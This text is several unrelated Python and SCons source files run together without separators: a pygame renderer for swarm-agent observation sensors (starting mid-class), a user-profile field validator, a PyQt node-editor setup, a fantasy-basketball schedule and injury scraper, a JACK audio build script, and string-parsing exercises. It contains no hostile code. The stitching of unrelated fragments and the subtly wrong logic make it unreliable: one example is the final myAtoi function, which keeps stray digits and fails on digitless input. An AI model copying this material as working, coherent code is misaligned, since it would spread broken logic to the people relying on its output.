                component_renderer(canvas, component, observation)

    def render_section_observation_component(
        self,
        canvas: pygame.Surface,
        component: components.SectionObservationComponent,
        observation: np.ndarray,
    ):
        agent_to_env_rotation = self._shared_computer.agent_to_env_rotation()
        observation = observation @ agent_to_env_rotation.T

        for section_index, section_position in enumerate(observation):
            self.line(
                canvas,
                Colors.OBSERVATION,
                self.agent.position,
                self.agent.position + section_position * component._max_range,
                2,
            )
            self.circle(
                canvas,
                Colors.OBSERVATION,
                self.agent.position + section_position * component._max_range,
                self.swarm.config.radius / 2,
            )

            angle = (
                section_index * 2 * np.pi / component._num_sections + self.agent.angle + component._offset_angle
            )

            self.line(
                canvas,
                Colors.MISC,
                self.agent.position,
                self.agent.position
                + np.array([np.cos(angle), np.sin(angle)]) * component._max_range,
                1,
            )

        self.circle(canvas, Colors.MISC, self.agent.position, component._max_range, 1)

    def render_section_velocity_observation_component(
        self,
        canvas: pygame.Surface,
        component: components.SectionVelocityObservationComponent,
        section_velocities: np.ndarray,
    ):
        agent_to_env_rotation = self._shared_computer.agent_to_env_rotation()
        section_velocities = section_velocities @ agent_to_env_rotation.T

        section_boid_indices = self._shared_computer.closest_boid_indices_per_section(
            component._num_sections,
            component._max_range + component._subtract_radius * self.env.swarm.config.radius,
        )

        for velocity, boid_index in zip(section_velocities, section_boid_indices):
            if boid_index is None:
                continue

            self.line(
                canvas,
                Colors.OBSERVATION,
                self.swarm.positions[boid_index],
                self.swarm.positions[boid_index]
                + velocity * self.agent.max_velocity * 10,
                2,
            )

        self.circle(canvas, Colors.MISC, self.agent.position, component._max_range, 1)

    def render_section_distance_observation_component(
        self,
        canvas: pygame.Surface,
        component: components.SectionDistanceObservationComponent,
        observation: np.ndarray,
    ):
        for section_index, section_distance in enumerate(observation):
            angle = (
                section_index * 2 * np.pi / component._num_sections + self.agent.angle
            )

            self.line(
                canvas,
                Colors.OBSERVATION,
                self.agent.position,
                self.agent.position
                + np.array(
                    [
                        np.cos(angle + np.pi / component._num_sections),
                        np.sin(angle + np.pi / component._num_sections),
                    ]
                )
                * component._max_range
                * section_distance,
                2,
            )

            self.line(
                canvas,
                Colors.MISC,
                self.agent.position,
                self.agent.position
                + np.array([np.cos(angle), np.sin(angle)]) * component._max_range,
                1,
            )

        self.circle(canvas, Colors.MISC, self.agent.position, component._max_range, 1)

    def render_section_velocity_distance_observation_component(
        self,
        canvas: pygame.Surface,
        component: components.SectionVelocityDistanceObservationComponent,
        observation: np.ndarray,
    ):

        agent_to_env_rotation = self._shared_computer.agent_to_env_rotation()
        section_normals = component._section_normals @ agent_to_env_rotation.T
        section_tangents = component._section_tangents @ agent_to_env_rotation.T

        boid_distances = self._shared_computer.agent_to_boid_distances()
        section_boid_indices = self._shared_computer.closest_boid_indices_per_section(
            component._num_sections,
            component._max_range + component._subtract_radius * self.env.swarm.config.radius,
        )
        section_distances = [
            (
                boid_distances[boid_index]
                - self.env.swarm.config.radius * component._subtract_radius
                if boid_index is not None
                else component._max_range
            )
            for boid_index in section_boid_indices
        ]

        for section_index, (
            section_distance,
            (section_normal_velocity, section_tangent_velocity),
        ) in enumerate(zip(section_distances, observation)):
            angle = (
                section_index * 2 * np.pi / component._num_sections + self.agent.angle
            )

            anchor_position = (
                self.agent.position
                + np.array(
                    [
                        np.cos(angle + np.pi / component._num_sections),
                        np.sin(angle + np.pi / component._num_sections),
                    ]
                )
                * section_distance
            )

            self.line(
                canvas,
                Colors.OBSERVATION,
                anchor_position,
                anchor_position
                + section_normals[section_index]
                * section_normal_velocity
                * self.agent.max_velocity
                * 10,
                4,
            )
            self.line(
                canvas,
                Colors.OBSERVATION,
                anchor_position,
                anchor_position
                + section_tangents[section_index]
                * section_tangent_velocity
                * self.agent.max_velocity
                * 10,
                4,
            )

    def render_target_direction_observation_component(
        self,
        canvas: pygame.Surface,
        component: components.TargetDirectionObservationComponent,
        observation: np.ndarray,
    ):

        agent_to_env_rotation = self._shared_computer.agent_to_env_rotation()
        observation = agent_to_env_rotation @ observation

        self.line(
            canvas,
            Colors.OBSERVATION,
            self.agent.position,
            self.agent.position + observation * 10,
            4,
        )

    def render_agent_velocity_observation_component(
        self,
        canvas: pygame.Surface,
        component: components.AgentVelocityObservationComponent,
        observation: np.ndarray,
    ):
        agent_to_env_rotation = self._shared_computer.agent_to_env_rotation()
        observation = agent_to_env_rotation @ observation
        self.line(
            canvas,
            Colors.OBSERVATION,
            self.agent.position,
            self.agent.position + observation * self.agent.max_velocity * 10,
            8,
        )


import re

requiredFields = ('usr','eme','psw','age','loc','fll')

## fll:111 eme:yrfa@gmail.com usr:@codember -> {"fll":"111","eme":"yrfa@gmail.com","usr":"@codember"}
def line2Dict(line):
    lst = re.split(':| ',line.strip())
    toDict = map( lambda i: (lst[i],lst[i+1]), range(len(lst)-1)[::2])
    return dict(toDict)

def loadInput():
    profiles = []
    profile = ''
    with open('users.txt') as f:
        for line in f.readlines():
            if not line.strip():
                profiles.append(line2Dict(profile))
                profile = ''
                continue
            profile += ' ' + line.strip()

    profiles.append(line2Dict(profile))
    return profiles

def hasCorrectKeys(profile):
    if all(key in profile for key in requiredFields):
        return True

def main():
    input = loadInput()
    filtered = list(filter(hasCorrectKeys,input))
    print(f'{len(filtered)}'+filtered[-1]['usr'] )

if __name__ == '__main__':
    main()


from bin.UI_MARVer import Ui_MainWindow
from include.marver_m.calc_drag_listbox import QDMDragListbox
from include.marver_m.MyWidget import INodeWidget

class GuiModelDesign:
    NodeEditorWidget_class = INodeWidget

    def __init__(self, ui: Ui_MainWindow = None):
        self.__ui = ui

    def setModelEditorWidgets(self):
        self.lw = QDMDragListbox()
        self.lw.setParent(self.__ui.W_MarverM_Drag)
        self.lw.setVisible(True)

        self.nodeeditor = self.__class__.NodeEditorWidget_class(self.__ui.W_MarverM_EditorPlain)
        self.nodeeditor.setParent(self.__ui.W_MarverM_EditorPlain)
        self.nodeeditor.setVisible(True)

    def startModelEditor(self):
        self.setModelEditorWidgets()


import urllib.request
import xml.etree.ElementTree as ET
from datetime import datetime, timedelta

class FantastyBasketballNerd:
    __scheduleurl = "https://www.fantasybasketballnerd.com/service/schedule/"
    __playersurl = "https://www.fantasybasketballnerd.com/service/players/"
    __teamsurl = "https://www.fantasybasketballnerd.com/service/teams/"
    __injuriesurl = "https://www.fantasybasketballnerd.com/service/injuries/"
    __depthcharturl = "https://www.fantasybasketballnerd.com/service/depth/{TEAM_CODE}"

    class AppURLopener(urllib.request.FancyURLopener):
        version = "Mozilla/5.0"

    teams = dict()
    players = dict()

    class Injury:
        def __init__(self):
            self.injured = False
            self.injurytext = ""

    class Player:
        def __init__(self):
            self.name = ""
            self.team = ""
            self.id = ""
            self.injury = FantastyBasketballNerd.Injury()

    class Team:
        def __init__(self):
            self.code = ""
            self.name = ""
            self.schedule = list()

    def __readURL(self, url):
        opener = self.AppURLopener()
        webpage = opener.open(url)
        myfile = webpage.read()
        return myfile

    def __init__(self):
        self.__initPlayers()
        self.__initTeams()
        self.__initSchedule()

    def __initPlayers(self):
        playerxml = ET.fromstring(self.__readURL(self.__playersurl))
        injuryxml = ET.fromstring(self.__readURL(self.__injuriesurl))
        injuries = dict()
        for t in injuryxml.findall('Team'):
            for i in t.findall('Player'):
                injury = self.Injury()
                injury.injured = True
                injury.injurytext = i.find('injury').text + ", " + i.find('notes').text
                injuries[i.find('name').text] = injury

        for p in playerxml.findall('Player'):
            player = self.Player()
            player.name = p.find('name').text
            player.id = p.find('playerId').text
            player.team = p.find('team').text #team code
            if player.name in injuries:
                player.injury = injuries[player.name]
            else:
                player.injury.injured = False
                player.injury.injurytext = ""
            if player.name == "C.J. McCollum":
                player.name = "CJ McCollum"
            self.players[player.name] = player

    def __initTeams(self):
        xml = ET.fromstring(self.__readURL(self.__teamsurl))
        for t in xml.findall('Team'):
            team = self.Team()
            team.code = t.find('code').text
            team.name = t.find('name').text
            self.teams[team.code] = team

    def __initSchedule(self):
        xml = ET.fromstring(self.__readURL(self.__scheduleurl))
        for g in xml.findall('Game'):
            date = datetime.strptime(g.find('gameDate').text, '%Y-%m-%d %H:%M:%S') #format: 2020-12-22 19:00:00
            away = g.find('away').text #away team code
            home = g.find('home').text  # home team code
            self.teams[away].schedule.append(date)
            team1 = self.teams[away]
            self.teams[home].schedule.append(date)
            team2 = self.teams[home]

    def readTeamSchedule(self, teamCode):
        team = self.teams[teamCode]
        assert isinstance(team, self.Team)
        return team.schedule

    def weekStartEnd(self, week):
        offset = timedelta(days = 7 - datetime.today().weekday())
        oneweek = timedelta(days=7)
        weekstart =  datetime.today() + offset + (week * oneweek)
        weekstart = weekstart.replace(hour = 0)
        weekend = weekstart + oneweek
        return weekstart, weekend

    def numberPlayerGamesWeek(self, name, week=0):
        schedule = self.readTeamSchedule(self.players[name].team)
        weekstart, weekend = self.weekStartEnd(week)
        numgames = 0
        for d in schedule:
            if ((d > weekstart) and (d < weekend)):
                numgames += 1
        return numgames

    def numberPlayerGamesPlayed(self, name):
        schedule = self.readTeamSchedule(self.players[name].team)
        numgames = 0
        for d in schedule:
            if (d < datetime.today()):
                numgames += 1
        return numgames

    def getPlayerInjured(self, name):
        injurytext = ""
        if self.players[name].injury.injured:
            injurytext = "injured, " + self.players[name].injury.injurytext
        return injurytext


env = Environment()
env.Append(
  CXXFLAGS=['/DEBUG'])

Program(

    'bin/sample_player',

    [
        'src/clip.c',
        'src/debug.c',
        'src/jack.c',
        'src/main.c',
        'src/osc.c',
    ],

    LIBS=[
        'jack',
        'lo',
        'm',
        'pthread',
        'sndfile',
    ]

)

Program(

    'bin/jackplay',

    'misc/jackplay.c',

    LIBS=[
        'm',
        'pthread',
        'jack',
        'sndfile',
    ]

)


# def lengthOfLongestSubstring(s: str) -> int:
#     if s=="":
#         return 0
#     if len(s)==len(set(s)):
#         return len(s)
#     l=0
#     ss=s[0]
#     f=0
#     for i in range(1,len(s)):
#         l1=0
#         if s[i] not in ss:
#             ss=s[f:i+1]
#         else:
#             l1=i-f
#             if l1>l:
#                 l=l1
#             f=s.index(s[i],f)+1
#             ss=s[f:i+1]
#     l1=i-f+1
#     if l1>l:
#         l=l1
#     return l
# print(lengthOfLongestSubstring('aab'))

def myAtoi(s: str) -> int:
    if s=='':
        return -1
    s=s.strip()
    ss=''
    for i in range(len(s)):
        if i==0 or s[i].isdigit():
            ss=ss+s[i]
    return int(ss)
print(myAtoi("4193 with words"))